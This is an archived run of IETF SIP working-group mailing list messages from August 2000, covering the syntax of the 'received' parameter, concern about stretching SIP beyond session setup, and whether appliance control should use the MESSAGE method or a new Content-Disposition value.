<398AE546.6CFF7292@cs.columbia.edu> Date: Fri, 04 Aug 2000 11:46:14 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: James.Kempf@Eng.Sun.COM Cc: sip@lists.bell-labs.com Subject: Re: [SIP] SIP and World Domination References: <200008041503.IAA14328@nasnfs.eng.sun.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit > addressed by various other working groups. HTTP, mobile IP, instant messaging, IMAP, the > list goes on. There are clearly two opposing problems here: (1) invent new protocols or protocol stacks for each new "vertical" application (the ITU approach, to some large extent) (2) re-use a single protocol for things where there are better solutions (HTTP certainly has suffered from this problem and SIP may or may not) Part of the evolution of application-layer stuff is that things that used to be nicely separated aren't. HTTP is used to retrieve email, email is used to send web pages, etc. I don't think anybody here wants to replace IMAP by SIP, say, but there are certain problems that There's also the new danger that we'll have small devices dominated by a single function rather than workstation OS that support a whole range of things, from a web browser to an IMAP client. For these devices, it is sometimes easier to "abuse" an existing protocol than implement a whole other protocol. Thus, the temptation is rational, if dangerous is unchecked. There seem to be two possible dangers: (1) Feature creep into SIP. (2) Servers have to implement two ways of providing information, namely the SIP way and the "native" way. (If you like, the WAP problem.) (1) is more likely to be self-correcting, since the pain and gain are in the same community. (2) is where collateral damage is most likely. Maybe we need to address the items in turns (and I'm guessing here at the overlap issues that you might object to): HTTP: the line seems to be that as long as HTML or other "web" content is part of the signaling exchange, this seems about as useful and necessary as sending HTML in web messages rather than pointing to a web URL. If there's an existing web server and URL, referral seems much better. I don't see much temptation to venture there. IMAP: I assume this is about message indication. There is indeed a dangerous slope there, but one that industry seems to have slid down long before us. (See the Yahoo instant messages when email arrives.) IMAP is poll, so there does seem to be a need for notification, but not retrieval. Mobility: I see some value here for SIP for service and personal mobility, but not as a replacement for mobile IP, except where mobile IPv4 with binding isn't available. (The sentence doesn't make sense, but there's a difference between a protocol being available in an RFC and being available where I work or get my ISP service.) IM/presence: Not sure if you're specifically referring to IM or presence (the two seem rather different to me), but I don't think I have to add to *that* discussion. Maybe a bit more precision on your part would be helpful. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 11:48:30 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA22047 for ; Fri, 4 Aug 2000 11:48:30 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1F38D4437C; Fri, 4 Aug 2000 11:47:54 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4]) by lists.bell-labs.com (Postfix) with ESMTP id 362284433D for ; Fri, 4 Aug 2000 11:47:37 -0400 (EDT) Received: from cs.columbia.edu (wired-129-215.ietf.marconi.com [147.73.129.215]) by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id LAA10869; Fri, 4 Aug 2000 11:51:29 -0400 (EDT) Message-ID: <398AE791.C0A38CF3@cs.columbia.edu> Date: Fri, 04 Aug 2000 11:56:01 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Gethin Liddell Cc: Sip Mail List Subject: Re: [SIP] received parameter is invalid References: <00080415532100.14079@gethin> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit That's indeed bad, since it may break generic parsers. Since the port is not in RFC 2543, might it make sense to define received-port as a parameter. I don't want to extend token since that would conflict with RFC 822 and RFC 2616. Gethin Liddell wrote: > > um, hello > > i've just noticed that the much loved and adored received parameter > does not actually obey the generic-param syntax: > > generic-param: token=token|quoted-string > > received=host[:port] > > the problem is that : is not a token and so received does not conform. > > can we make : a token? or does that ruin other stuff. i've had a quick > look (by no means through) and couldn't find any conflicts. > > or do we leave it as it is and have the attitude that everyone should > know of the received parameter and how to parse it. > > it would have been nice to handle the un-encrypted and encrypted > received parameter the same way (i.e. just read a token and then > un-encrypt it if neccessary) however this does not allow that. > > thoughts? > > -- > Gethin Liddell > Ubiquity Software Corporation > > http://www.ubiquity.net > mailto:gethin@ubiquity.net > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 11:53:51 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA24574 for ; Fri, 4 Aug 2000 11:53:50 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id BBDB744388; Fri, 4 Aug 2000 11:51:24 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id AB0114433D for ; Fri, 4 Aug 2000 11:51:20 -0400 (EDT) Received: from dynamicsoft.com ([216.173.40.50]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id LAA02159; Fri, 4 Aug 2000 11:52:50 -0400 (EDT) Message-ID: <398AE659.AE80E8C2@dynamicsoft.com> Date: Fri, 04 Aug 2000 11:50:49 -0400 From: Igor Slepchin Organization: dynamicsoft Inc. X-Mailer: Mozilla 4.7 [en] (WinNT; U) X-Accept-Language: en,ru MIME-Version: 1.0 To: Gethin Liddell Cc: Sip Mail List Subject: Re: [SIP] received parameter is invalid References: <00080415532100.14079@gethin> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit It seems I missed the moment when [:port] was added to "received". What problem is it supposed to solve? Firstly, the source port is quite likely to be different from the one listed in Via even without the NAT and the "received" most certainly should not be added in that case. Secondly, the latest 2543bis I could find is not very consistent on the subject: 6.47.2 first says that "received" is added when the source address doesn't match the address in the Via, next that it's added iff source address _and_ port differ from the ones in Via. Besides, if you use the NAPT, specifying the port in "received" doesn't help. In any case, just correcting Via is not very helpful for NAT traversing (e.g., how are you going to send re-INVITEs or BYEs in the reverse direction?) so I'd rather keep the "received" parameter as simple as possible (i.e., leave it the way it's defined in RFC2543). Thank you, Igor Slepchin Gethin Liddell wrote: > > um, hello > > i've just noticed that the much loved and adored received parameter > does not actually obey the generic-param syntax: > > generic-param: token=token|quoted-string > > received=host[:port] > > the problem is that : is not a token and so received does not conform. > > can we make : a token? or does that ruin other stuff. i've had a quick > look (by no means through) and couldn't find any conflicts. > > or do we leave it as it is and have the attitude that everyone should > know of the received parameter and how to parse it. > > it would have been nice to handle the un-encrypted and encrypted > received parameter the same way (i.e. just read a token and then > un-encrypt it if neccessary) however this does not allow that. > > thoughts? > > -- > Gethin Liddell > Ubiquity Software Corporation > > http://www.ubiquity.net > mailto:gethin@ubiquity.net > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 12:00:50 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA28133 for ; Fri, 4 Aug 2000 12:00:49 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0FE1C4438E; Fri, 4 Aug 2000 11:58:37 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from printfile.ietf.marconi.com (printfile.ietf.marconi.com [147.73.128.4]) by lists.bell-labs.com (Postfix) with ESMTP id B0FF74433D for ; Fri, 4 Aug 2000 11:58:32 -0400 (EDT) Received: from cs.columbia.edu (wired-129-215.ietf.marconi.com [147.73.129.215]) by printfile.ietf.marconi.com (8.9.3/8.9.3) with ESMTP id MAA10903; Fri, 4 Aug 2000 12:02:28 -0400 (EDT) Message-ID: <398AEA24.B21E40CF@cs.columbia.edu> Date: Fri, 04 Aug 2000 12:07:00 -0400 From: Henning Schulzrinne X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Igor Slepchin Cc: Gethin Liddell , Sip Mail List Subject: Re: [SIP] received parameter is invalid References: <00080415532100.14079@gethin> <398AE659.AE80E8C2@dynamicsoft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Mindo on my part. This was a failed attempt to deal with NA(P)T. Thus, it should be gone not just for syntax reasons. Igor Slepchin wrote: > > It seems I missed the moment when [:port] was added to "received". What > problem is it supposed to solve? > > Firstly, the source port is quite likely to be different from the one > listed in Via even without the NAT and the "received" most certainly > should not be added in that case. Secondly, the latest 2543bis I could > find is not very consistent on the subject: 6.47.2 first says that > "received" is added when the source address doesn't match the address in > the Via, next that it's added iff source address _and_ port differ from > the ones in Via. > > Besides, if you use the NAPT, specifying the port in "received" doesn't > help. In any case, just correcting Via is not very helpful for NAT > traversing (e.g., how are you going to send re-INVITEs or BYEs in the > reverse direction?) so I'd rather keep the "received" parameter as > simple as possible (i.e., leave it the way it's defined in RFC2543). > > Thank you, > Igor Slepchin > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 17:04:43 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA25334 for ; Fri, 4 Aug 2000 17:04:43 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id EDBA544353; Fri, 4 Aug 2000 17:04:26 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 57E8A44339 for ; Fri, 4 Aug 2000 17:04:23 -0400 (EDT) Received: from dynamicsoft.com (1Cust87.tnt4.freehold.nj.da.uu.net [63.36.112.87]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id RAA04588; Fri, 4 Aug 2000 17:05:55 -0400 (EDT) Message-ID: <398B3102.86192099@dynamicsoft.com> Date: Fri, 04 Aug 2000 17:09:22 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Stan Moyer Cc: "Simon Tsang (Telcordia Technologies)" , sip@lists.bell-labs.com, dmarples@research.telcordia.com Subject: Re: [SIP] Comment ondraft-moyer-sip-appliances-framework-00.txt References: <4.3.1.2.20000804103829.00b84d00@mailee.research.telcordia.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Stan Moyer wrote: > > At 11:36 PM 8/3/2000 -0400, Jonathan Rosenberg wrote: > > So there will > > > be a great need to address them as they move between locations and domains. > > > Henning has already mentioned the possibility of 'naming' your appliances, > > > so that my kitchen stove could be stove@simon.home.net. This reference can > > > then be added to your 'favourites' address book. Using HTTP to do this > > > will require explicit addressing (like the SLP URL Stan showed in the > > > presentation yesterday) for every single request, and cannot support the > > > more friendly object@domain representation. > > > >Why isn't the addressing http://simon.home.net/stove? I can't add this > >to my bookmarks? The addressing is just as explicit as in the SIP case. > > How do you know that's the address? How did you know the address was stove@simon.home.net? The URL above is merely a syntactic translation. Web servers act as fronts for data stored, in fact, elsewhere. Same case here. > Also what's the address for subscribing for the event that the timer has > gone off and my meal is done -- you probably can't (or at least shouldn't) > use http for that? No, probably not. This debate is going on in another thread on the sip-events list. > I would argue that the reasons you are arguing for convergence in the > thread, "Re: [SIP] a proposal for a way to compromise? (really, not a > joke)" , e.g., > > >...Let us not bypass the benefits afforded to users of the system. I think > >it is fair to say users will want to have services that integrate > >presence with voice, video, and other communications. Thats happening > >today. By using the same infrastructure for the two, some neat services > >become possible ... > > are many of the same reasons you would want to use SIP for networked > appliances/devices. I don't see the analogy. Presence, voice, video are all forms of communications. Its reasonable to want to screen an IM from someone and their phone calls at the same time. In what ways would I want services which integrate me talking to my refrigerator and me controlling it? -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 17:13:02 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA27176 for ; Fri, 4 Aug 2000 17:13:01 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2A0564435C; Fri, 4 Aug 2000 17:11:27 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 4FD7D44339 for ; Fri, 4 Aug 2000 17:11:24 -0400 (EDT) Received: from dynamicsoft.com (1Cust87.tnt4.freehold.nj.da.uu.net [63.36.112.87]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id RAA04624; Fri, 4 Aug 2000 17:12:44 -0400 (EDT) Message-ID: <398B329A.99ED5E66@dynamicsoft.com> Date: Fri, 04 Aug 2000 17:16:10 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Henning Schulzrinne Cc: "Simon Tsang (Telcordia Technologies)" , Stan Moyer , "Fox, Mike" , sip@lists.bell-labs.com, dmarples@research.telcordia.com Subject: Re: [SIP] Comment ondraft-moyer-sip-appliances-framework-00.txt References: <398A3A2E.659EE338@dynamicsoft.com> <398AE090.52773BA8@cs.columbia.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Henning Schulzrinne wrote: > > > Of course it does. You are not displaying them to a user for the purpose > > of messaging and communications. If you are including content that has > > semantic meaning to some upper layer system, its not a MESSAGE. Its > > something else. MESSAGE does not just mean "deliver this to higher layer > > protocol stack". It means a very specific thing - render this content to > > the user, where this rendering is some kind of communication which might > > be responded to. > > While I'm no fan of overloading names, I don't think it's quite as clear > cut as we'd like. Some considerations: > > - It's bad if the same type of device (or the same name) gets two types > of messages with very different meaning. This doesn't seem likely in > this case. What about a TV which acts as a message center? When a MESSAGE arrives, is it a message to be displayed to the person watching, or a control for the device itself? > > - We already have different content for INVITE, distinguished by > Content-Disposition. It's a bit a matter of taste whether to use a > different Content-Disposition or a different message. Thus, you > definitely need a different Content-Disposition, other than render. True, but in no case does the content of the message alter the underlying semantics of the method or response code. It always provides additional information that qualifies it. Here, its fundamentally altering what happens to it. > > - Having the same message makes sense if filtering, for example, would > likely be the same for both. These things serve much different functions. I think its likely you would have very different policies for filtering them. > In summary, I think either a new message type or MESSAGE can be made to > work as long as the type of content is labeled clearly, not just in > terms of syntax but also semantics. This introduces yet another place an implementation needs to look at to figure out what the purpose of the message is. Method is for that purpose. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 17:37:36 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA02518 for ; Fri, 4 Aug 2000 17:37:35 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 062DE44352; Fri, 4 Aug 2000 17:37:04 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from wodc7mr3.ffx.ops.us.uu.net (wodc7mr3.ffx.ops.us.uu.net [192.48.96.19]) by lists.bell-labs.com (Postfix) with ESMTP id 83F2144339 for ; Fri, 4 Aug 2000 17:37:00 -0400 (EDT) Received: from wodc7ps1.ffx.ops.us.uu.net by wodc7mr3.ffx.ops.us.uu.net with ESMTP (peer crosschecked as: vpop0-alterdial.uu.net [192.48.96.130]) id QQjavm07305 for ; Fri, 4 Aug 2000 21:37:00 GMT Received: from dynamicsoft.com by wodc7ps1.ffx.ops.us.uu.net with ESMTP (peer crosschecked as: 1Cust87.tnt4.freehold.nj.da.uu.net [63.36.112.87]) id QQjavm27939; Fri, 4 Aug 2000 21:36:58 GMT Message-ID: <398B38A9.71883F56@dynamicsoft.com> Date: Fri, 04 Aug 2000 17:42:01 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: James.Kempf@Eng.Sun.COM Cc: sip@lists.bell-labs.com Subject: Re: [SIP] SIP and World Domination References: <200008041503.IAA14328@nasnfs.eng.sun.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit James Kempf wrote: > > The problem with SIP is that it is being closely watched by the telephony standards community. > Unlike the IETF, they have a very different process of standards development, and so > they are not familiar with how IETF works. However, they *are* familar and very, very > comfortable with circuit switched, and so when they see claims about SIP being made for > solving all these problems, they tend to think that they can turn to SIP for everything, > and turn a SIP proxy into a switch, and define all their services in terms of the switch. This is certainly one of the dangers. Henning has outlined others. More generally, I believe that the continued abuse of SIP for all these other areas will end up in a protocol that is so complex that people are afraid to implement it, and with so much stuff and extensions, no one can sort out what they do and don't need to solve their problem. What scares me the most are interdependency of extensions, especially ones that are very distinct (see the other thread on the proposed usage of MESSAGE for device control). These are the things that can very quickly bring SIP towards a death of contorted complexity. To date, we have kept SIP limited to the field of initiating, terminating, and modifying communications primarily between people (or their automated agents like answering machines). All the accepted extensions in the SIP wg relate to this general field. I like SIP. I have dedicated a lot of time to it, and I want to see its successes continue. It is because I believe in it that I have, and will, continue to fight against uses which fall outside of its core application. Now, what people do in their labs and in conference papers is their own choice, and I'm happy that they experiment with SIP. But, bringing it to IETF is a much more serious affair, and I think we need to be very careful here. Someone once told me that most startup companies don't die from starvation, they die from indigestion. I think we can possibly argue this here. I don't worry about SIP dying from starvation. But now I do worry about it dying from indigestion. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 20:38:34 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA03738 for ; Fri, 4 Aug 2000 20:38:34 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 4DE0C4435C; Fri, 4 Aug 2000 20:38:09 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from savannah.cis.gsu.edu (savannah.cis.gsu.edu [131.96.142.178]) by lists.bell-labs.com (Postfix) with ESMTP id 950A144339 for ; Fri, 4 Aug 2000 20:38:05 -0400 (EDT) Received: from gsu.edu ([131.96.142.164]) by savannah.cis.gsu.edu (Switch-2.0.1/Switch-2.0.1) with ESMTP id e750bgt26839 for ; Fri, 4 Aug 2000 20:37:42 -0400 (EDT) Message-ID: <398B6452.72E4A3F2@gsu.edu> Date: Fri, 04 Aug 2000 20:48:18 -0400 From: Samir Chatterjee X-Sender: "Samir Chatterjee" (Unverified) X-Mailer: Mozilla 4.06 [en]C-gatewaynet (Win98; I) MIME-Version: 1.0 To: "sip@lists.bell-labs.com" Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] Keep it simple Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit The SIP and World Domination has been an interesting thread. Yes, SIP is great for signaling (aka finding, connecting and terminating) and then handing over to the appropriate session protocol. Can SIP do more? Sure, extensions are a way and changing semantics and definitions (which leads to problems later), it can do more. But the real question is Should SIP do more? I am not sure. When we bash our circuit friends and their H.323, the first argument we say is that it is an overkill for IP telephony? Guess who will have the last laugh? Keep it simple. Elegant protocols survive the long run. Complexity is easy to add, but difficult to live with. The other argument about one infrastructure solves all problems? Hmm..didn't we have different data, voice, and video networks before? It worked. And then came convergence with IP and when that happened, we are struggling to differentiate? Gosh, the DiffServ groups or class-based QOS groups would have no problems, had their been separate networks to begin with? After studying the QOS approaches in depth, I am more inclined to say, "Just add more bandwidth stupid?" and if new applications emerge and consume, try finding more lambdas and then gammas within the optical path (are you guys watching the optical stocks lately?). The management complexity headache is not worth what we actually achieve via incremental performance gains. And aren't there so many other camps that think they can dominate the world? I believe there is some project going on at MIT called Oxygen that solves all the worlds problems. And then there is Bluetooth which connects all the devices and appliances at home. WAP believes it has conquered the world. Wait until bio-tech reaches a point where I can put a UAC and a UAS inside my embedded heart chip that will talk to my lung chip (SIP I guess??). Aha, a day of BAN (Body Area Networks). I wonder where the proxy will reside? In my stomach perhaps. There is nothing more beautiful than a simple elegant protocol design that does a few things, but does it damn well. I sensed from the list that there is some kind of victory being announced for SIP. Isn't this really premature? Anyway, my 2 cents... Samir Chatterjee Georgia State University & VoiceCore Technologies Inc. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 21:01:45 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA08611 for ; Fri, 4 Aug 2000 21:01:45 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 672B944363; Fri, 4 Aug 2000 21:01:05 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from thumper.research.telcordia.com (thumper.research.telcordia.com [128.96.41.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7925844339 for ; Fri, 4 Aug 2000 21:01:01 -0400 (EDT) Received: from stsang4 (uunet-14-228.cc.telcordia.com [128.96.14.228]) by thumper.research.telcordia.com (8.10.1/8.10.1) with SMTP id e7510FR04149; Fri, 4 Aug 2000 21:00:16 -0400 (EDT) From: "Simon Tsang (Telcordia Technologies)" To: "Jonathan Rosenberg" , "Henning Schulzrinne" Cc: "Stan Moyer" , "Fox, Mike" , , Subject: RE: [SIP] Comment ondraft-moyer-sip-appliances-framework-00.txt Date: Fri, 4 Aug 2000 21:00:11 -0400 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <398B329A.99ED5E66@dynamicsoft.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Jonathan, Please see my comments inserted below: > -----Original Message----- > From: Jonathan Rosenberg [mailto:jdrosen@dynamicsoft.com] > Sent: Friday, August 04, 2000 5:16 PM > To: Henning Schulzrinne > Cc: Simon Tsang (Telcordia Technologies); Stan Moyer; Fox, Mike; > sip@lists.bell-labs.com; dmarples@research.telcordia.com > Subject: Re: [SIP] Comment ondraft-moyer-sip-appliances-framework-00.txt [some paragraphs snipped to save bytes] > > While I'm no fan of overloading names, I don't think it's quite as clear > > cut as we'd like. Some considerations: > > > > - It's bad if the same type of device (or the same name) gets two types > > of messages with very different meaning. This doesn't seem likely in > > this case. > > What about a TV which acts as a message center? When a MESSAGE arrives, > is it a message to be displayed to the person watching, or a control for > the device itself? This scenario will never happen. The users of the message centre will have their own addresses to identify them (e.g. jdrosen@messages.jdrosen.home.net or more generally, messages@jdrosen.home.net) while the TV as an appliance to be controlled will have its own address (e.g. TV-controls@jdrosen.home.net). The users 'TV-controls' and 'jdrosen@messages' (or 'messages') will have their own SIP UAs. There should be no confusion at all about how MESSAGE gets rendered. > > - We already have different content for INVITE, distinguished by > > Content-Disposition. It's a bit a matter of taste whether to use a > > different Content-Disposition or a different message. Thus, you > > definitely need a different Content-Disposition, other than render. > > True, but in no case does the content of the message alter the > underlying semantics of the method or response code. It always provides > additional information that qualifies it. Here, its fundamentally > altering what happens to it. I still can't agree with you here. I think Henning is right. Surely Content-Disposition: does just what you argue against? The Content-Disposition header describes what should be done with the body when it's received at the UA. With the current parameter values, the UA can either set up the session using the body (which is assumed to be SDP) or the UA displays/renders the body to the user. Hence it is fundamentally altering what the UA does when the SIP message is received. Am I misunderstanding the purpose of the header? > > In summary, I think either a new message type or MESSAGE can be made to > > work as long as the type of content is labeled clearly, not just in > > terms of syntax but also semantics. > > This introduces yet another place an implementation needs to look at to > figure out what the purpose of the message is. Method is for that > purpose. This has been an interesting discussion and I'm grateful for all the comments. If other people on the list also feel so strongly about it, then we could introduce a separate method from MESSAGE. But I'd rather use MESSAGE with a new Content-Disposition value defined. Have a nice weekend. Thanks, Simon -- Simon Tsang (Ph.D) Research Scientist - Internet Service Management Research Telcordia Technologies (http://www.telcordia.com) E-mail: stsang@research.telcordia.com Phone: +1.973.829.4511 Fax: +1.973.829.5889 _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Sat Aug 5 03:41:29 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA21556 for ; Sat, 5 Aug 2000 03:41:28 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 888584433A; Sat, 5 Aug 2000 03:41:13 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from ivigate.intervoice.com (ivigate.intervoice.com [208.200.21.196]) by lists.bell-labs.com (Postfix) with ESMTP id 0AAD944338 for ; Sat, 5 Aug 2000 03:41:10 -0400 (EDT) Received: from intervoice-brite.com ([172.16.16.64]) by ivigate.intervoice.com (Build 98 8.9.3/NT-8.9.3) with SMTP id CAA14689 for ; Sat, 05 Aug 2000 02:44:16 -0500 Received: from INTERVOICE-Message_Server by intervoice-brite.com with Novell_GroupWise; Sat, 05 Aug 2000 02:41:11 -0500 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Sat, 05 Aug 2000 02:41:01 -0500 From: "Skip Cave" To: sip@lists.bell-labs.com Cc: skipcave@connect.net Subject: [SIP] DTMF and Universal Key Input Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List 